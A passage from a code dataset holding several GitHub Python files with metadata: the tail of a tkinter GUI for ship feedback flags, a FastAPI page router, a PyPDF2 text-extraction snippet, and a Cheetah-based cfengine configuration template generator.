trend\", \"ENV trend\", \"Limits\",\"Max RMS\", \"Max Envelope\"],\n                                                 state=\"readonly\")\n            self.chosecolortype.current(0)\n            self.chosecolortype.bind('<<ComboboxSelected>>',  updatecolorevt)\n\n            self.beforereportlabel = tk.Label (self.measframe, text = \"#\")\n            self.beforedatelabel = tk.Label (self.measframe, text = \"#\")\n            self.afterreportlabel = tk.Label (self.measframe, text = \"#\")\n            self.afterdatelabel = tk.Label (self.measframe, text = \"#\")\n\n\n            self.measurementsbeforetab = ttk.Treeview(self.measframe)\n            self.measurementsbeforetab[\"columns\"] = (\"rms\", \"pk\")\n\n            self.measurementsaftertab = ttk.Treeview(self.measframe)\n            self.measurementsaftertab[\"columns\"] = (\"rms\", \"pk\",)\n\n\n\n\n            self.measurementsbeforetab.column(\"#0\",width = 100,minwidth =50, stretch = tk.NO)\n            self.measurementsbeforetab.column(\"rms\",width = 40,minwidth =40, stretch = tk.NO)\n            self.measurementsbeforetab.column(\"pk\", width=40, minwidth=40, stretch=tk.NO)\n\n\n            self.measurementsaftertab.column(\"#0\",width = 100,minwidth =50, stretch = tk.NO)\n            self.measurementsaftertab.column(\"rms\",width = 40,minwidth =40, stretch = tk.NO)\n            self.measurementsaftertab.column(\"pk\", width=40, minwidth=40, stretch=tk.NO)\n\n\n            self.measurementsbeforetab.heading(\"#0\", text = 'Point',anchor=tk.W)\n            self.measurementsbeforetab.heading(\"rms\", text='RMS', anchor=tk.W)\n            self.measurementsbeforetab.heading(\"pk\", text='env P-K', anchor=tk.W)\n\n\n            self.measurementsaftertab.heading(\"#0\", text = 'Point',anchor=tk.W)\n            self.measurementsaftertab.heading(\"rms\", text='RMS', anchor=tk.W)\n            self.measurementsaftertab.heading(\"pk\", text='env P-K', anchor=tk.W)\n\n\n\n            self.checkbut1.grid(column = 0, row = 0, columnspan = 2)\n            tk.Label(self.measframe, text = 'Color by :').grid(column=0, row=1, sticky = E )\n            self.chosecolortype.grid(column=1, row=1, sticky = W )\n\n            self.beforereportlabel.grid(column = 0, row = 2)\n            self.beforedatelabel.grid(column = 0, row = 3)\n            self.afterreportlabel.grid(column = 1, row = 2)\n            self.afterdatelabel.grid(column = 1, row = 3)\n\n\n            self.measurementsbeforetab.grid(column = 0, row = 4)\n            self.measurementsaftertab.grid(column = 1, row = 4)\n        headtext = \"\"\"\n    Ship: {}\n    Device: {}\n    kW: {},type: {}(old: {})\n    Report: {}\n            \"\"\".format('SHIPNAME', 'DEVICENAME','kW','NEWTYPE','OLDTYPE', 'REPORTNO')\n        self.labelhead = tk.Label(frame, text=headtext)\n        self.remarktext = tk.Text(frame, height=10, width=50, wrap=WORD)\n        self.fdbtext = tk.Text(frame, height=10, width=50, wrap=WORD)\n        self.fdbflagstring = ttk.Combobox(frame, width=90, values=column(self.fdbflagz, 1), state=\"readonly\")\n        self.costflagstring = ttk.Combobox(frame, width=90, values=column(self.costflagz, 1), state=\"readonly\")\n        self.remarktext.configure(state='disabled')\n        self.fdbtext.configure(state='disabled')\n        self.setflagbut = tk.Button(frame, text='Update flags', command=setflags)\n\n        self.pricetext = tk.Text(frame, height=1, width=30, wrap=WORD)\n        self.priceval = tk.Text(frame, height=1, width=30, wrap=WORD)\n\n        self.lowtext = tk.Text(frame, height=1, width=30, wrap=WORD)\n        self.lowval = tk.Text(frame, height=1, width=30, wrap=WORD)\n\n        self.hightext = tk.Text(frame, height=1, width=30, wrap=WORD)\n        self.highval = tk.Text(frame, height=1, width=30, wrap=WORD)\n\n        self.setcostbut = tk.Button(frame, text='Update costs', command=updatecosts)\n\n        self.measframe = tk.Frame(frame)\n\n        self.remlabel = tk.Label(frame, text='Remark')\n        self.fdblabel = tk.Label(frame, text='Feedback')\n\n        # Grid manager\n        self.labelhead.grid(row=0, column=0, columnspan=2)\n\n        self.remlabel.grid(row=1, column=0, columnspan=2)\n        self.remarktext.grid(row=2, column=0, columnspan=2)\n\n        self.fdblabel.grid(row=1, column=2)\n        self.fdbtext.grid(row=2, column=2)\n        tk.Label(frame, text='FDB flag').grid(row=3, column=0)\n        self.fdbflagstring.grid(row=3, column=1,columnspan = 2)\n        self.fdbflagstring.current(0)\n        tk.Label(frame, text='Cost flag').grid(row=4, column=0)\n        self.costflagstring.grid(row=4, column=1,columnspan = 2)\n        self.costflagstring.current(0)\n        self.setflagbut.grid(row=5, column=2, columnspan=2, rowspan=2)\n\n        tk.Label(frame, text='Price of work done').grid(row=7, column=0)\n        self.pricetext.grid(row=7, column=1)\n        self.priceval.grid(row=7, column=2)\n\n        tk.Label(frame, text='Lowest cost of damage').grid(row=8, column=0)\n        self.lowtext.grid(row=8, column=1)\n        self.lowval.grid(row=8, column=2)\n\n        tk.Label(frame, text='Highest cost of damage').grid(row=9, column=0)\n        self.hightext.grid(row=9, column=1)\n        self.highval.grid(row=9, column=2)\n\n        self.setcostbut.grid(row=10, column=2)\n\n        self.measframe.grid(row = 11, column = 0, columnspan = 3)\n        fillmeasframe()\n\n\nif __name__ == '__main__' :\n    LogApplication()\n    #feedbackswindow(connD)","repo_name":"Fifczak/Info-Marine","sub_path":"Feedbacks/FeedbacksFlags.py","file_name":"FeedbacksFlags.py","file_ext":"py","file_size_in_byte":42623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"70245205617","text":"\"\"\"routers.\"\"\"\nfrom typing import Optional\n\nimport jinja2\n\nfrom fastapi import FastAPI, Request, APIRouter\nfrom fastapi.templating import Jinja2Templates\n\n\nrouter = APIRouter()\n\ntemplates = Jinja2Templates(directory='html')\n\n\n@router.get('/')\nasync def index_page(request: Request):\n    return templates.TemplateResponse('home.html', {'request': request})\n\n\n@router.get('/editor')\nasync def editor_page(request: Request):\n    return templates.TemplateResponse('editor.html', {'request': request})\n\n\n@router.get('/snippet/{tool_name}/')\nasync def tb_page(request: Request, tool_name: str):\n    print(tool_name)\n    tpl_name = 'snippet/detail.html'\n    try:\n        resp = templates.TemplateResponse(tpl_name, {'request': request})\n    except jinja2.exceptions.TemplateNotFound:\n        return templates.TemplateResponse('home.html', {'request': request})\n    else:\n        return resp\n","repo_name":"istommao/CodeSnippetArchive","sub_path":"src/routers/page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"29462559978","text":"import PyPDF2\nfrom PyPDF2 import PdfFileReader\n\nwith open(\"/Users/dongman/Desktop/testhu/test2.pdf\", \"rb\") as pdf:\n    pdf_reader = PyPDF2.PdfFileReader(pdf)\n    print(\"Total number of Pages: \", pdf_reader.numPages)\n    page = pdf_reader.getPage(4)\n    print(page.extractText())\n\n\n\n","repo_name":"huyq119/dongmanworkproject","sub_path":"PDFcopy.py","file_name":"PDFcopy.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"6522939318","text":"import sys\nimport os\nimport os.path\nfrom stat import *\nimport imp\nimport time\nimport threading\nfrom Cheetah.Template import Template\n\nfrom pcsd_common import *\nfrom pcsd_log import *\nfrom pcsd_events import *\nfrom pcsd_config import config_get, config_get_required, \\\n        config_getint\nfrom pcsd_session import getSession, getSessionE, pcsd_session\nfrom pcsd_server import registerResource, exportViaXMLRPC, \\\n        initThread, registerRecurring, suggestThreadpoolSize\nfrom pcsd_service import getServiceInstance, pcsd_service_error\n\nclass pcsd_template_error(pcsd_error):\n    pass\n\n#####################################################################\n# General Cfengine Integration Helper Functions\n#####################################################################\ndef initTemplates():\n    global _templateDir, _templateModDir\n\n    # Ensure output template module directories exist and are empty\n    removeDir(\"%s/host\" % _templateModDir)\n    ensureDirExists(\"%s/host\" % _templateModDir)\n    removeDir(\"%s/network\" % _templateModDir)\n    ensureDirExists(\"%s/network\" % _templateModDir)\n\n    # Ensure templates are compiled\n    rv = log_command(\"/usr/bin/cheetah compile -R --idir %s/host --odir \" \\\n            \"%s/host --nobackup 2>&1\" % (_templateDir, _templateModDir))\n    if rv != None:\n        log_error(\"Unable to compile all host templates!\")\n    rv = log_command(\"/usr/bin/cheetah compile -R --idir %s/network --odir \" \\\n            \"%s/network --nobackup 2>&1\" % \\\n            (_templateDir, _templateModDir))\n    if rv != None:\n        log_error(\"Unable to compile all network templates!\")\n\n    # Load template files\n    hostTemplates = loadTemplates(\"%s/host\" % _templateModDir)\n    log_info(\"Loaded %s host templates for cfengine.\" % len(hostTemplates))\n    networkTemplates = loadTemplates(\"%s/network\" % _templateModDir)\n    log_info(\"Loaded %s network templates for cfengine.\" % \\\n            len(networkTemplates))\n\n    return networkTemplates, hostTemplates\n\ndef loadTemplates(moduleDir, baseStrip=\"\"):\n    \"\"\"Creates a dictionary of template modules from the specified dir\"\"\"\n\n    # Dictionary of template objects\n    templates = {}\n\n    if baseStrip == \"\":\n        baseStrip = moduleDir\n\n    # Get a list of possible templates\n    if os.access(moduleDir, os.R_OK) != 1:\n        raise pcsd_template_exception(\"Unable to access directory! - %s\" % \\\n                moduleDir)\n    ptempls = os.listdir(moduleDir)\n\n    # Scan through the list and load valid modules\n    for tfile in ptempls:\n        # Ignore hidden files\n        if tfile.startswith(\".\"):\n            continue\n        tfilename = \"%s/%s\" % (moduleDir, tfile)\n        # Recurse into directories\n        if os.path.isdir(tfilename):\n            templates.update(loadTemplates(tfilename, baseStrip))\n            continue\n        # Ignore non module files\n        if not tfile.endswith(\".py\"):\n            continue\n        # Load the template module\n        tname = os.path.basename(tfilename)[:-3]\n        if tname == \"__init__\":\n            # Ignore python framework stuff\n            continue\n        m = None\n        try:\n            m = imp.load_source(tname, tfilename)\n            # Don't want the module in the system module list\n            if tname in sys.modules.keys():\n                del sys.modules[tname]\n        except:\n            log_debug(\"Module import failed for %s template\" % tname, \\\n                    sys.exc_info())\n            pass\n        if not m:\n            log_error(\"Failed to import template: %s\" % tname)\n            continue\n        # If an explicit output filename was specified use that, otherwise\n        # prepend path information and store the template filename.\n        path = \"%s/\" % os.path.dirname(tfilename[len(baseStrip)+1:])\n        if len(path) == 1:\n            path = \"\"\n        tclass = eval(\"m.%s\" % tname)\n        m.fileName = \"%s%s\" % (path, getattr(tclass, \"fileName\", tname))\n        m.multiFile = getattr(tclass, \"multiFile\", False)\n        m.templateName = tname\n        # Store the template for future use, prepend path for uniqueness\n        templateID = \"%s%s\" % (path, tname)\n        if templateID in templates.keys():\n            log_error(\"Could not import duplicate template: %s\" % tname)\n            continue\n        templates[templateID] = m\n\n    # Return the templates\n    return templates\n\n@registerRecurring(60*10)\ndef cleanTemplateStatus():\n    \"\"\"Runs every ten minutes to clean up expired template status info\"\"\"\n    global _templateStats, _statsLock\n\n    # If generation is not finished by this many minutes after initiation\n    # there is an error, stats are removed in hope of causing a Key error\n    # that will kill the errant threads\n    err_time = 60*60\n    # Statistics for finished generation runs are removed this many minutes\n    # after the run completes\n    expire_time = 60*30\n\n    _statsLock.acquire()\n    try:\n        for key,stats in _templateStats.items():\n            if (time.time()-stats[\"initiated\"]) > err_time:\n                # Still processing after one hour!?\n                log_error(\"Template generation (%s) was still active after \" \\\n                        \"%d seconds!\" % (key, err_time))\n                del _templateStats[key]\n                continue\n            if stats[\"finished\"] == 0:\n                # Still in progress\n                continue\n            if (time.time()-stats[\"finished\"]) > expire_time:\n                log_info(\"Removing template generation status (%s)\" % key)\n                del _templateStats[key]\n    finally:\n        _statsLock.release()\n\n    return True\n\n@exportViaXMLRPC(SESSION_RO, AUTH_ADMINISTRATOR)\ndef getTemplateStatus(session_id, statsKey, asynchronous=True):\n    \"\"\"Returns the status of a specified template generation run\"\"\"\n    global _templateStats, _statsLock\n\n    stats = None\n\n    _statsLock.acquire()\n    try:\n        if statsKey not in _templateStats.keys():\n            raise pcs_cfengine_error(\"Invalid key: %s\" % statsKey)\n        stats = dict(_templateStats[statsKey])\n    finally:\n        _statsLock.release()\n\n    return stats\n\n@exportViaXMLRPC(SESSION_RW, AUTH_ADMINISTRATOR)\ndef generateTemplate(session_id, requested_templates={}):\n    \"\"\"Generates the specified configuration templates\n\n    The requested_templates parameter should be a dictionary indexed by\n    host_name each entry should contain a list of the template ids that\n    should be generated for that host.\n\n    If the template list for a host is empty all available templates will be\n    regenerated.\n    If the dictionary is completely empty then all hosts will have their\n    templates regenerated.\n\n    If an entry in the dictionary contains the key \"network\" it will be\n    interpreted as a list of network wide templates to regenerate. If this key\n    is absent then the network wide templates will be regenerated if the number\n    of host templates being regenerated is greater than one.\n\n    All template processing is shunted off to another thread and the user is\n    returned a token that can be passed to future calls to getTemplateStatus\n    to retrieve the current status of template generation. Generation results\n    are stored for 30 minutes after the end of template generation.\n    \"\"\"\n    global _templateStats, _statsLock\n    from modules.ccs_host import getHostList\n\n    # Load the templates\n    networkTemplates, hostTemplates = initTemplates()\n\n    # Setup the basic set of statistics about template generation\n    stats = {}\n    stats[\"planned\"] = {}\n    stats[\"generated\"] = {}\n    stats[\"skipped\"] = {}\n    stats[\"initiated\"] = time.time()\n    stats[\"setupprogress\"] = 10\n    stats[\"generating\"] = 0\n    stats[\"finished\"] = 0\n    stats[\"error\"] = None\n\n    # Work out what the user has requested us to generate\n    hosts = {}\n    host_names = requested_templates.keys()\n    if len(host_names) == 0:\n        host_names = [host[\"host_name\"] for host in getHostList(session_id)]\n    for host in host_names:\n        if host == \"network\": continue\n        templates = []\n        if host in requested_templates.keys():\n            templates = requested_templates[host]\n        if len(templates) == 0:\n            templates = hostTemplates.keys()\n        hosts[host] = templates\n    stats[\"planned\"][\"hosts\"] = hosts\n    stats[\"generated\"][\"hosts\"] = {}\n    stats[\"skipped\"][\"hosts\"] = {}\n\n    # Work out how many host templates we're going to be generating\n    total = 0\n    for tlist in hosts.values():\n        total += len(tlist)\n    stats[\"planned\"][\"total\"] = total\n\n    # Add network level templates if more than one host template is requested\n    # or they have been explicitly specified\n    if \"network\" in host_names:\n        stats[\"planned\"][\"network\"] = requested_templates[\"network\"]\n    elif total > 1:\n        stats[\"planned\"][\"network\"] = networkTemplates.keys()\n    else:\n        stats[\"planned\"][\"network\"] = []\n    stats[\"planned\"][\"total\"] += len(stats[\"planned\"][\"network\"])\n    stats[\"generated\"][\"network\"] = {}\n    stats[\"skipped\"][\"network\"] = {}\n\n    # Aquire the lock to deal with statistics\n    statsKey = token = createPassword(8)\n    _statsLock.acquire()\n    try:\n        _templateStats[statsKey] = stats\n    finally:\n        _statsLock.release()\n\n    # Fire off the new thread\n    initThread(processTemplates, session_id, statsKey, networkTemplates,\n            hostTemplates)\n\n    # Return back to the user\n    return statsKey\n\n@registerEvent(\"revisionPrepared\")\ndef processTemplates(session_id, statsKey, networkTemplates, hostTemplates):\n    \"\"\"Does the hardwork of generating templates in a thread\"\"\"\n    global _templateStats, _statsLock, _threadLimit\n    from modules.ccs_host import getHostList, ccs_host, \\\n            getDistributions\n    from _utils.pcsd_service import getServiceTemplateVars\n    from modules.ccs_asset import getAssetTypeTemplateVariables\n    from modules.ccs_link import getLinkClassTemplateVariables, \\\n            getLinkTemplateVariables\n    try:\n        session = getSessionE(session_id)\n        log_info(\"Entered template processing thread (%s)\" % statsKey)\n        ct = threading.currentThread()\n        ct.setName(\"%s: processTemplates\" % session.username)\n\n        # Make sure we have a revision to insert files into\n        # Check session to see if a revision is active\n        commit=0\n        if session.revision == None:\n            session.begin(\"Updated host configuration files\", initiator=\"cfengine\")\n            commit=1\n        outputDir = session.revision.getConfigBase()\n\n        # More progress\n        _statsLock.acquire()\n        try:\n            _templateStats[statsKey][\"setupProgress\"] = 15\n        finally:\n            _statsLock.release()\n\n        # Load all the data that we need to pass to the templates\n        variables = {}\n        hlist = {}\n        id2name = {}\n        for host in getHostList(session_id):\n            host = ccs_host(session_id, host[\"host_id\"])\n            hostDetails = host.getTemplateVariables()\n            hlist[host[\"host_name\"]] =  hostDetails\n            _statsLock.acquire()\n            try:\n                if _templateStats[statsKey][\"setupProgress\"] < 70:\n                    _templateStats[statsKey][\"setupProgress\"] += 2\n            finally:\n                _statsLock.release()\n        variables[\"hosts\"] = hlist\n        dlist = {}\n        for distrib in getDistributions(session_id):\n            dlist[distrib[\"distribution_id\"]] = distrib\n        variables[\"distributions\"] = dlist\n        variables[\"services\"] = getServiceTemplateVars(session_id)\n        _statsLock.acquire()\n        try:\n            _templateStats[statsKey][\"setupProgress\"] = 80\n        finally:\n            _statsLock.release()\n        variables[\"date\"] = time.ctime()\n        variables[\"domain\"] = config_get_required(\"network\", \"domain\")\n        variables[\"site_name\"] = config_get_required(\"network\", \"site_name\")\n        variables[\"port\"] = int(config_get(None, \"https_port\", DEFAULT_HTTPS_SERVER_PORT))\n        variables[\"server_name\"] = config_get_required(\"network\", \"server_name\")\n        ip = getIP(variables[\"server_name\"])\n        variables[\"policy_ip\"] = ip\n        variables[\"policy_ip_class\"] = ip.replace(\".\", \"_\")\n        variables[\"smtp_server\"] = config_get_required(\"network\", \"smtp_server\")\n        variables[\"admin_email\"] = config_get_required(\"network\", \"admin_email\")\n        variables[\"dbhost\"] = pcsd_session.dhost\n        variables[\"dbuser\"] = pcsd_session.duser\n        variables[\"dbpass\"] = pcsd_session.dpass\n        variables[\"dbname\"] = pcsd_session.database\n        _statsLock.acquire()\n        try:\n            _templateStats[statsKey][\"setupProgress\"] = 90\n        finally:\n            _statsLock.release()\n\n        variables[\"asset_types\"] = getAssetTypeTemplateVariables(session_id)\n        variables[\"link_classes\"] = getLinkClassTemplateVariables(session_id)\n        variables[\"links\"] = getLinkTemplateVariables(session_id)\n        variables[\"session_id\"] = session_id\n\n        # Update the stats and get the list of hosts\n        _statsLock.acquire()\n        try:\n            planned = _templateStats[statsKey][\"planned\"]\n            _templateStats[statsKey][\"generating\"] = time.time()\n            _templateStats[statsKey][\"setupProgress\"] = 100\n        finally:\n            # Release the lock before proceeding\n            _statsLock.release()\n\n        # Now generate each hosts template in a separate thread\n        for host,template_ids in planned[\"hosts\"].items():\n            # See if we can start a new thread\n            _threadLimit.acquire()\n            try:\n                # Extract the host specific data for this template\n                hostData = variables[\"hosts\"][host]\n                # Fire off the thread to process this host, the thread will release\n                # the semaphore as it is about to exit\n                # XXX: This relies on the thread behaving nicely, need to find a\n                # way to find out if it's been bad and exited without releasing\n                # the semaphore\n                initThread(processHostTemplates, statsKey, outputDir, \\\n                        hostTemplates, hostData, variables)\n            except:\n                log_error(\"Failed to start thread to process templates for \" \\\n                        \"host: %s!\" % host, sys.exc_info())\n                _threadLimit.release()\n\n        # Wait until all the configuration files have been generated\n        hosts = list(planned[\"hosts\"].keys())\n        hasError = False\n        hasTemplateError = False\n        while len(hosts) > 0:\n            # Wait a bit before trying again\n            time.sleep(1)\n            _statsLock.acquire()\n            try:\n                generated = _templateStats[statsKey][\"generated\"][\"hosts\"]\n                for host in hosts:\n                    if not host in generated.keys():\n                        continue\n                    # Check if it finished successfully\n                    if generated[host][\"finished\"] > 0:\n                        # Remove from list\n                        hosts.remove(host)\n                        # Check if any of the templates failed to be output\n                        if generated[host][\"error\"] == \"template\":\n                            # Set the flag so we don't commit the revision\n                            hasTemplateError = True\n                    else:\n                        # Check for fatal errors\n                        if generated[host][\"error\"] != \"\":\n                            # Set the flag and remove the host from processing\n                            hosts.remove(host)\n                            hasError = True\n                            continue\n            finally:\n                _statsLock.release()\n\n        # Hosts are done, network templates now\n        for template_id in planned[\"network\"]:\n            # See if we can start a new thread\n            _threadLimit.acquire()\n            try:\n                # Fire off the thread to process this template, the thread will\n                # release the semaphore as it is about to exit\n                # XXX: This relies on the thread behaving nicely, need to find a\n                # way to find out if it's been bad and exited without releasing\n                # the semaphore\n                initThread(processNetworkTemplate, statsKey, outputDir, \\\n                        networkTemplates, template_id, variables)\n            except:\n                log_error(\"Failed to start thread to process network template: \" \\\n                        \"%s!\" % template_id, sys.exc_info())\n                _threadLimit.release()\n\n        # Wait until all network templates are done\n        network = list(planned[\"network\"])\n        while len(network) > 0:\n            # Wait a bit before trying again\n            time.sleep(1)\n            _statsLock.acquire()\n            try:\n                generated = _templateStats[statsKey][\"generated\"][\"network\"]\n                skipped = _templateStats[statsKey][\"skipped\"][\"network\"]\n                for template in network:\n                    if template in generated.keys():\n                        # Check for errors\n                        if generated[template][\"error\"] != \"\":\n                            hasTemplateError = True\n                    else:\n                        if template not in skipped.keys():\n                            continue\n                    # Remove from the list\n                    network.remove(template)\n            finally:\n                _statsLock.release()\n\n        # Trigger an event to allow other modules to perform final config setup\n        triggerEvent(session_id, \"revisionPrepared\", outputDir=outputDir)\n\n        # Commit if neceesary and no template/host errors occured\n        rv = {\"revision\":None}\n        if commit and not (hasError or hasTemplateError):\n            rv = session.commit()\n        # All done\n        _statsLock.acquire()\n        try:\n            _templateStats[statsKey][\"finished\"] = time.time()\n            _templateStats[statsKey][\"revision\"] = rv[\"revision\"]\n            d = _templateStats[statsKey][\"finished\"] - \\\n                    _templateStats[statsKey][\"initiated\"]\n            if hasError:\n                _templateStats[statsKey][\"error\"] = \"host\"\n            elif hasTemplateError:\n                _templateStats[statsKey][\"error\"] = \"template\"\n        finally:\n            _statsLock.release()\n            log_info(\"Template generation completed in %0.3f seconds for %s\" % \\\n                (d, statsKey))\n    except:\n        info = sys.exc_info()\n        log_error(\"Error processing templates\", info)\n        _statsLock.acquire()\n        _templateStats[statsKey][\"error\"] = ''.join(traceback.format_exception( \\\n            *info)[-1:]).strip().replace('\\n',': ')\n        _templateStats[statsKey][\"finished\"] = 1\n        _templateStats[statsKey][\"generating\"] = 0\n        _statsLock.release()\n        session.rollback()\n\n    return True\n\ndef processHostTemplates(statsKey, outputDir, hostTemplates, hostData,\n        networkData):\n    \"\"\"Runs in a thread and generates the output files for the template\"\"\"\n    global _templateStats, _statsLock, _threadLimit\n    host_id = -1\n    host = \"unknown\"\n\n    # It is imperative that we release the semaphore before returning from\n    # this function or we could potentially starve the calling thread of\n    # workers and we'd end up in a deadlock situation!\n    try:\n        # Work out the host_id and host_name of this host\n        host_id = hostData[\"host_id\"]\n        host = hostData[\"host_name\"]\n        hostPath = \"%s/hosts/%s\" % (outputDir, host)\n        start = time.time()\n        log_debug(\"Started host generation thread for %s\" % host)\n        session = getSessionE(networkData[\"session_id\"])\n        ct = threading.currentThread()\n        ct.setName(\"%s: processHostTemplates %s\" % (session.username, host))\n\n        # Retrieve the list of templates to generate and flag the start\n        _statsLock.acquire()\n        try:\n            planned = _templateStats[statsKey][\"planned\"]\n            generated = _templateStats[statsKey][\"generated\"][\"hosts\"]\n            generated[host] = {}\n            generated[host][\"initiated\"] = start\n            generated[host][\"finished\"] = 0\n            generated[host][\"error\"] = \"\"\n        finally:\n            _statsLock.release()\n\n        # Now that we have a set of templates to use do the actual generation\n        hadError = False\n        for tname in planned[\"hosts\"][host]:\n            try:\n                tstart = time.time()\n                # Instantiate a template\n                template = hostTemplates[tname]\n                t = eval(\"template.%s()\" % template.templateName)\n                # Is it enabled on this host?\n                if not t.enabledOnHost(networkData[\"session_id\"], host_id):\n                    continue\n                # Set up the variables we want to substitute in\n                t._searchList = [hostData, networkData]\n                # Generate the file\n                filename = \"%s/%s\" % (hostPath, template.fileName)\n                files = t.writeTemplate(filename, template.multiFile)\n                tend = time.time()\n                # Set properties\n                format = getattr(t, \"highlightFormat\", \"\")\n                if format != \"\":\n                    for file in files:\n                        session.revision.propset(file, \"pcs:format\", format)\n                # Record how long the file took to generate\n                _statsLock.acquire()\n                try:\n                    info = {\"time\":tend-tstart, \"error\":\"\"}\n                    generated[host][tname] = info\n                finally:\n                    _statsLock.release()\n            except:\n                (type, value, tb) = sys.exc_info()\n                # Single template errors can be skipped over, nothing will\n                # get committed unless the user explicitly approves\n                _statsLock.acquire()\n                try:\n\n                    info = {\"time\":0, \"error\":value}\n                    generated[host][tname] = info\n                finally:\n                    _statsLock.release()\n                hadError = True\n                log_error(\"Failed to process template (%s) for host: %s\" % \\\n                        (tname, host), (type, value, tb))\n\n        # Clean up\n        end = time.time()\n        log_debug(\"Completed host generation for %s in %0.3f seconds\" % \\\n                (host, (end-start)))\n        _statsLock.acquire()\n        try:\n            generated[host][\"finished\"] = end\n            # If a template failed make a note of it here\n            if hadError:\n                generated[host][\"error\"] = \"template\"\n        finally:\n            _statsLock.release()\n    except:\n        (type, value, tb) = sys.exc_info()\n        # Record the error for display to the user\n        _statsLock.acquire()\n        try:\n            generated = _templateStats[statsKey][\"generated\"][\"hosts\"]\n            if host not in generated.keys():\n                generated[host] = {}\n                generated[host][\"initiated\"] = 0\n            generated[host][\"finished\"] = time.time()\n            generated[host][\"error\"] = value\n        finally:\n            _statsLock.release()\n        # Log the error for the administrators record\n        log_error(\"Exception while processing host templates (%s)!\" % \\\n                host, (type, value, tb))\n\n    # Release the semaphore\n    _threadLimit.release()\n    return\n\ndef processNetworkTemplate(statsKey, outputDir, networkTemplates,\n        template_id, networkData):\n    \"\"\"Runs in a thread and generates the output files for the template\"\"\"\n    global _templateStats, _statsLock, _threadLimit\n\n    # It is imperative that we release the semaphore before returning from\n    # this function or we could potentially starve the calling thread of\n    # workers and we'd end up in a deadlock situation!\n    try:\n        log_debug(\"Started template generation thread for %s\" % template_id)\n        tstart = time.time()\n        session = getSessionE(networkData[\"session_id\"])\n        ct = threading.currentThread()\n        ct.setName(\"%s: processNetworkTemplates %s\" % \\\n                (session.username, template_id))\n        # Instantiate a template\n        template = networkTemplates[template_id]\n        t = eval(\"template.%s()\" % template.templateName)\n        # Is it enabled?\n        if not t.enabledOnNetwork(networkData[\"session_id\"]):\n            _statsLock.acquire()\n            try:\n                skipped = _templateStats[statsKey][\"skipped\"][\"network\"]\n                skipped[template_id] = True\n            finally:\n                _statsLock.release()\n            _threadLimit.release()\n            return\n        # Set up the variables we want to substitute in\n        t._searchList = [networkData]\n        # Generate the file\n        filename = \"%s/%s\" % (outputDir, template.fileName)\n        files = t.writeTemplate(filename, template.multiFile)\n        tend = time.time()\n        # Set properties\n        format = getattr(template, \"highlightFormat\", \"\")\n        if format != \"\":\n            for file in files:\n                session.revision.propset(file, \"pcs:format\", format)\n        # Record how long the file took to generate\n        _statsLock.acquire()\n        try:\n            generated = _templateStats[statsKey][\"generated\"][\"network\"]\n            info = {\"time\":tend-tstart, \"error\":\"\"}\n            generated[template_id] = info\n        finally:\n            _statsLock.release()\n        log_debug(\"Completed template generation for %s in %0.3f seconds\" \\\n                % (template_id, (tend-tstart)))\n    except:\n        (type, value, tb) = sys.exc_info()\n        # Skip over the error, nothing will get committed unless the user\n        # explicitly approves\n        _statsLock.acquire()\n        try:\n            generated = _templateStats[statsKey][\"generated\"][\"network\"]\n            info = {\"time\":0, \"error\":value}\n            generated[template_id] = info\n        finally:\n            _statsLock.release()\n        log_error(\"Failed to process network template (%s)\" % template_id, \\\n                (type, value, tb))\n\n    # Release the semaphore\n    _threadLimit.release()\n    return\n\n#####################################################################\n# Template Mixin\n#####################################################################\nclass pcsd_template(Template):\n    \"\"\"Config System Template Processor\n\n    All templates that expect to be processed by the configuration system\n    must derive from this class. It provides helper functions that are required\n    to determine where and when each template should be generated and how to\n    store it to disk.\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"Initialise the class\n\n        You must call this method from your subclass\n        \"\"\"\n        # Call Cheetah's init\n        Template.__init__(self)\n\n    def writeTemplate(self, filename, multiFile):\n        \"\"\"Writes the template output to the specified file\"\"\"\n\n        files = []\n\n        # Ensure the output directory exists\n        ensureDirExists(os.path.dirname(filename))\n\n        # Get the template contents\n        self._CHEETAH__searchList += self._searchList\n        template = self.writeBody().strip()\n        if not template.endswith(\"\\n\"): template += \"\\n\"\n\n        # Write it out to a file\n        if not multiFile:\n            f = open(filename, \"w\")\n            f.write(template)\n            f.close()\n            files.append(filename)\n        else:\n            # Handle templates that generate multiple output files\n            lines = template.split(\"\\n\")\n            f = None\n            for line in lines:\n                if line.startswith(\".newfile\"):\n                    # New file starting, close previous file\n                    if f is not None: f.close()\n                    # Open new file\n                    parts = line.split(\" \")\n                    if len(parts) != 2:\n                        raise pcsd_template_error(\"Invalid multifile template!\")\n                    fname = \"%s%s\" % (filename, parts[1])\n                    f = open(fname, \"w\")\n                    files.append(fname)\n                    continue\n                elif f is not None:\n                    # Write the line out\n                    f.write(\"%s\\n\" % line)\n            # Close the file\n            if f is not None: f.close()\n\n        return files\n\n    def __str__(self):\n        return self.writeBody()\n\n    def enabledOnHost(self, session_id, host_id):\n        \"\"\"Returns true if the template is applicable to the specified host\n\n        By default this method looks to see if the template has defined a\n        serviceName parameter. If it has then the function checks to see if\n        that service is enabled on the specified host. If it is not the\n        function returns False.\n\n        This function may be overriden by other classes/templates if you want\n        to implement more logic than the default implementation provides.\n        \"\"\"\n        serviceName = getattr(self, \"serviceName\", None)\n        if serviceName is None:\n            return True\n\n        from modules.ccs_host import ccs_host\n        host = ccs_host(session_id, host_id)\n        return host.hasServiceEnabledByName(serviceName)\n\n    def enabledOnNetwork(self, session_id):\n        \"\"\"Returns true if the template is able to be processed\n\n        By default this method looks to see if the template has defined a\n        serviceName parameter. If it has then the function checks to see if\n        that service is enabled. If it is not the function returns False.\n\n        This function may be overriden by other classes/templates if you want\n        to implement more logic than the default implementation provides.\n        \"\"\"\n        serviceName = getattr(self, \"serviceName\", None)\n        if serviceName is None:\n            return True\n\n        try:\n            service = getServiceInstance(session_id, serviceName)\n        except ccs_service_error:\n            # Named service not known\n            return False\n        return service.getState()\n\n    def getTemplateVariables(self):\n        \"\"\"Returns a dictionary of variables that can be used by the template\n\n        The dictionary is passed to Cheetah's searchList so that it's entries\n        can be used as placeholders in the template.\n\n        This function retains an empty list. You should override this in your\n        implementing class.\n        \"\"\"\n        return 